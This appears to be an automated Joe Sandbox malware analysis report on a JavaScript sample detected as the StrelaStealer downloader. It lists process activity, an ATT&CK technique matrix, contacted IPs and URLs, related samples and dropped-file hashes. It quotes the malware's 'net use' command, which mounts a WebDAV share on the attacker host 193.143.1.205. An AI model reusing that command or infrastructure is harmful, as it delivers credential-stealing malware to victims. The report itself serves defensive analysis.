Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2878822876987216987.js	5%	Virustotal		Browse
2878822876987216987.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/V	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.20	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3360297438.0000029F4CAC3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2129670739.0000029F52060000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/V	net.exe, 00000007.00000002.2131259143.0000022550C14000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2131259143.0000022550C2F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2131259143.0000022550C14000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2131259143.0000022550BD8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Num	net.exe, 00000007.00000002.2131259143.0000022550BD8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589039
Start date and time:	2025-01-11 08:43:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2878822876987216987.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/63@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 52.22.41.97, 3.219.243.226, 3.233.129.217, 52.6.155.20, 217.20.57.20, 2.16.168.105, 2.16.168.107, 23.200.0.21, 23.200.0.33, 18.213.11.84, 13.107.246.45, 52.149.20.212, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:44:53	API Interceptor	24x Sleep call for process: powershell.exe modified
02:44:58	API Interceptor	1x Sleep call for process: net.exe modified
02:44:58	API Interceptor	2x Sleep call for process: svchost.exe modified
02:45:06	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.39
	MPkM9Dd99B.exe	Get hash	malicious	Unknown	Browse	217.20.57.20
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	Yv24LkKBY6.exe	Get hash	malicious	Unknown	Browse	217.20.57.20
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	217.20.57.36
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.21
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.37
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2784527361260704938.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	89131879533771361.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24283946104055016.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26680121751816526037.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	82408542104643172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307254010013876
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugO:gJjJGtpTq2yv1AuNZRY3diu8iBVqFU
MD5:	E3098E11C7DC639BD170AAD83DAB4AD9
SHA1:	A4CC72598ECF48D60A959154D730817D7A97A84E
SHA-256:	8A45E74A112A2AB336B2BD3FDEEFDC434872DC56251DD27813CA892875C12BCA
SHA-512:	99A0EB1C2390BDEA6ABCE4F1F437C957FC7F198CA374165BCE7AC9F699F5E3B8AE3AF29519E6E83779775D2E427B53BD92EE4362F36901A483A008CDCF2B4FCF
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x55f05821, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.658594246655768
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	D7B6DAF73F3C95DFF48315651FC25AF9
SHA1:	348AC1111040EB289D3B6296E16F1FA0DF66D17B
SHA-256:	9022987CCDCD7154C88C1BC6EA5FC738B5269C7B19B91440AB6F26B601CF97BD
SHA-512:	C5B45F8FDFEAC33272F4E5827ADD09C93E11B4669FF0FD7F55696D81D5C7D2DA693E651E3F1F069A303DF3098E4EF4AFBA76C09F304F259C048D9CDAC4492621
Malicious:	false
Preview:	U.X!... ...............X\...;...{......................0.z..........{..:,...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{.....................................:,...}+.................C...:,...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08137269847020501
Encrypted:	false
SSDEEP:	3:gsXlKYeoPiPhVGuAJkhvekl1ufPit/allrekGltll/SPj:gs1Kzqizrxl2PitGJe3l
MD5:	C163B4A406163CF483F3DD6338EE1EFC
SHA1:	D90CDFCEE39A655D457738B550DBC88CB910F092
SHA-256:	430C5C233C8C52F0F427EDC57EF9A72606E45A2E659074430025E18D2B2262B1
SHA-512:	1688959DA4E3018BF26F7F03DBAB1243D261A8C2BF8767BD545E6359E136D43181964BA4133CE1DC2497177DA58FF312A0F6BE2C3BA37D33C740358BBB109096
Malicious:	false
Preview:	.D.......................................;...{..:,...}.......{...............{.......{...XL......{..................C...:,...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.170118991057915
Encrypted:	false
SSDEEP:	6:iOWOd0vq2P92nKuAl9OmbnIFUtsOdhXZmwSOdhFkwO92nKuAl9OmbjLJ:7Wzv4HAahFUtsaX/SaF5LHAaSJ
MD5:	217A835BF6D827F3E5AA3260FDC53125
SHA1:	7901F2F2873B51746B6B55DD17C675327BCB8190
SHA-256:	6E3BF76601D53BF5BA28332C4CDD54D3BB89B66090D624768F62152B13C153B6
SHA-512:	0AB5C2E58506B5FBE5169E23D45DDE1F031AFCCCFCE7838264C83448CABF398DEAA53338FDD6D72E2631DBD948AE8807BE0A3F362E6D55C5FE6DBB6A2B30C905
Malicious:	false
Preview:	2025/01/11-02:44:58.329 1a04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:44:58.332 1a04 Recovering log #3.2025/01/11-02:44:58.332 1a04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.170118991057915
Encrypted:	false
SSDEEP:	6:iOWOd0vq2P92nKuAl9OmbnIFUtsOdhXZmwSOdhFkwO92nKuAl9OmbjLJ:7Wzv4HAahFUtsaX/SaF5LHAaSJ
MD5:	217A835BF6D827F3E5AA3260FDC53125
SHA1:	7901F2F2873B51746B6B55DD17C675327BCB8190
SHA-256:	6E3BF76601D53BF5BA28332C4CDD54D3BB89B66090D624768F62152B13C153B6
SHA-512:	0AB5C2E58506B5FBE5169E23D45DDE1F031AFCCCFCE7838264C83448CABF398DEAA53338FDD6D72E2631DBD948AE8807BE0A3F362E6D55C5FE6DBB6A2B30C905
Malicious:	false
Preview:	2025/01/11-02:44:58.329 1a04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:44:58.332 1a04 Recovering log #3.2025/01/11-02:44:58.332 1a04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.216516895641742
Encrypted:	false
SSDEEP:	6:iOWOdR8X9+q2P92nKuAl9Ombzo2jMGIFUtsOd3eJZmwSOdj9VkwO92nKuAl9OmbX:7WvX4v4HAa8uFUtsEeJ/SID5LHAa8RJ
MD5:	415CA76851CD44BEF1DD4B81B2889A83
SHA1:	9CF864982A3D3915EA33372CA62ABAD6262B8B5A
SHA-256:	072B2EAC1338E3A603033DC9998E40F8B558F402726FF219783C9568FF561AE5
SHA-512:	053478C80F8A2CEE8A894AC83E38CC83C004DB069BB8BD7185955839064E11BC31269AAC9E416EABF843B44DEE8FB17DD573E0B718DB4BE2EA750F1A6FCF75B5
Malicious:	false
Preview:	2025/01/11-02:44:58.473 1268 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:44:58.475 1268 Recovering log #3.2025/01/11-02:44:58.476 1268 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.216516895641742
Encrypted:	false
SSDEEP:	6:iOWOdR8X9+q2P92nKuAl9Ombzo2jMGIFUtsOd3eJZmwSOdj9VkwO92nKuAl9OmbX:7WvX4v4HAa8uFUtsEeJ/SID5LHAa8RJ
MD5:	415CA76851CD44BEF1DD4B81B2889A83
SHA1:	9CF864982A3D3915EA33372CA62ABAD6262B8B5A
SHA-256:	072B2EAC1338E3A603033DC9998E40F8B558F402726FF219783C9568FF561AE5
SHA-512:	053478C80F8A2CEE8A894AC83E38CC83C004DB069BB8BD7185955839064E11BC31269AAC9E416EABF843B44DEE8FB17DD573E0B718DB4BE2EA750F1A6FCF75B5
Malicious:	false
Preview:	2025/01/11-02:44:58.473 1268 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:44:58.475 1268 Recovering log #3.2025/01/11-02:44:58.476 1268 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4416901a-8b87-4457-9616-5124bedb674a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF532297.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f81b6164-2a37-4876-87a1-bc16deb6d6e7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.046352384279891
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqMLJpsBdOg2Hvcaq3QYiubxnP7E4TfF+:Y2sRdsMdMHe3QYhbxP7np+
MD5:	2DEA9E00A6407F7CA4C2DA6E5A02EA2C
SHA1:	20CA48D616F2DF8E0F4A0E60326E019E5438F84C
SHA-256:	E64C351FB68916A70B6106BA693BC826101E813140ECB8CB7486CB16DE58A66D
SHA-512:	2A0FB364E9556E1D88F0B30E2784C5DF1F9B24FCDE82573DEE00ADF111FA22D106B0F6C5B8E3446D099A7D4FD6846681C6C341E73F22B9E90EECB19121B363C4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381141510071521","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151626},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.23148384867595
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUebztnZZ:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLz
MD5:	F1CA8FC06D25FBA45356D14D24CB67B7
SHA1:	4DF05E1F6B3FA193930DCB006DACB8B86D42A8FD
SHA-256:	F72DDAE691A3F1182B84C48C614C8C9C3F3DA424C178A6D4A0254ECB6012DF6F
SHA-512:	C6F4A2F171F6C99DA9DFB483B5AA0142A4C42C3CD8618E1CA781A9A424DFC9C10EDA2A5787EBB77ED2C1EE14E90A9C113996AF4A52520735A5E8F4BB12EC559B
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.197372048915689
Encrypted:	false
SSDEEP:	6:iOWOdXX9+q2P92nKuAl9OmbzNMxIFUtsOdeXLJZmwSOdL9VkwO92nKuAl9OmbzNq:7WqX4v4HAa8jFUtsfXLJ/SYD5LHAa84J
MD5:	B43E50AC36BB3027C6B61855DE4A2216
SHA1:	66EEC5CF19A819F4A0C23BB508DDBD01FA011A59
SHA-256:	AC2A2C688A35BE036370BC92F417622E818BF172D69129F360C30D8BE46510B4
SHA-512:	1BBAD400B1BF4C97043BB00019B2442D893BC0EA34CF12035E777FF33A1B13F683779AF8D6B965D8898BF64341835DD1701132534E073E63064C7132A2FDFC9C
Malicious:	false
Preview:	2025/01/11-02:44:58.630 1268 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:44:58.644 1268 Recovering log #3.2025/01/11-02:44:58.645 1268 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.197372048915689
Encrypted:	false
SSDEEP:	6:iOWOdXX9+q2P92nKuAl9OmbzNMxIFUtsOdeXLJZmwSOdL9VkwO92nKuAl9OmbzNq:7WqX4v4HAa8jFUtsfXLJ/SYD5LHAa84J
MD5:	B43E50AC36BB3027C6B61855DE4A2216
SHA1:	66EEC5CF19A819F4A0C23BB508DDBD01FA011A59
SHA-256:	AC2A2C688A35BE036370BC92F417622E818BF172D69129F360C30D8BE46510B4
SHA-512:	1BBAD400B1BF4C97043BB00019B2442D893BC0EA34CF12035E777FF33A1B13F683779AF8D6B965D8898BF64341835DD1701132534E073E63064C7132A2FDFC9C
Malicious:	false
Preview:	2025/01/11-02:44:58.630 1268 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:44:58.644 1268 Recovering log #3.2025/01/11-02:44:58.645 1268 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

